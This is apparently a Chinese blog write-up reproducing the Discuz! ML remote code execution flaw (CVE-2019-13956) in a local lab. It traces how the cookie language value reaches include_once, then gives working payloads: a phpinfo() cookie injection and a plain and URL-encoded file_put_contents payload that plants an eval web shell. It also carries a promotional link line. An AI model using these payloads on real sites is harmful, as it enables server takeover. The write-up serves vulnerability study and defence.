Discuz! ML 远程代码执行 (CVE-2019-13956)
一、漏洞描述
该漏洞存在 discuz ml(多国语言版)中,cookie 中的 language 可控并且没有严格过滤,导致可以远程代码执行。
二、漏洞影响版本
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
三、漏洞环境搭建
官网下载 Discuz! ML V3.4,下载地址: http://discuz.ml/download
将压缩包解压到 phpstudy 网站根目录,浏览器访问 upload 目录开始安装
然后就是一直点击下一步就可以了,直到完成安装
四、漏洞复现
漏洞存在的位置/upload/source/module/portal/portal_index.php,使用 template 函数处理’diy:portal/index’,然后使用 include_once 包含
跟进 template 函数,发现把 DISCUZ_LANG 函数拼接成为一个缓存文件名,然后又返回了缓存文件名
跟进 DISCUZ_LANG 函数,发现从 cookie 中取 language 的值给 $lng
继续浏览代码,发现把 $lng 的值赋给 DISCUZ_LANG 了
到此为止,整个漏洞分析过程已结束,过程如下:
外部参数 $lng(即 cookie 中的 language 语言)可控,导致 DISCUZ_LANG 函数获取 $lng,然后拼接成缓存文件并且返回了缓存文件名,导致 template 函数生成的缓存文件名可控,插入自己的代码,最终 include_once 函数包含一下导致了代码注入(执行了插入恶意代码的缓存文件名)。
surprise! 500G 网络安全学习资料,👉戳此免费获取
测试漏洞,随便点击一个页面,抓包,将 Cookie 中的 xxx_language 参数值改为’.phpinfo().’,发现成功执行了代码
查看缓存文件,发现缓存文件名被修改如下
getshell
8.1 尝试上传一个 shell,构造 payload,如下:
'.file_put_contents('shell.php','<?php eval($_POST[cmd]);?>').'
执行提示错误,可能是编码的原因
8.2、尝试对 payload 进行全部编码,失败,只有使用如下 payload 才能成功
%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
8.3、查看是否成功上传 shell.php,发现成功上传
8.4、菜刀连接
评论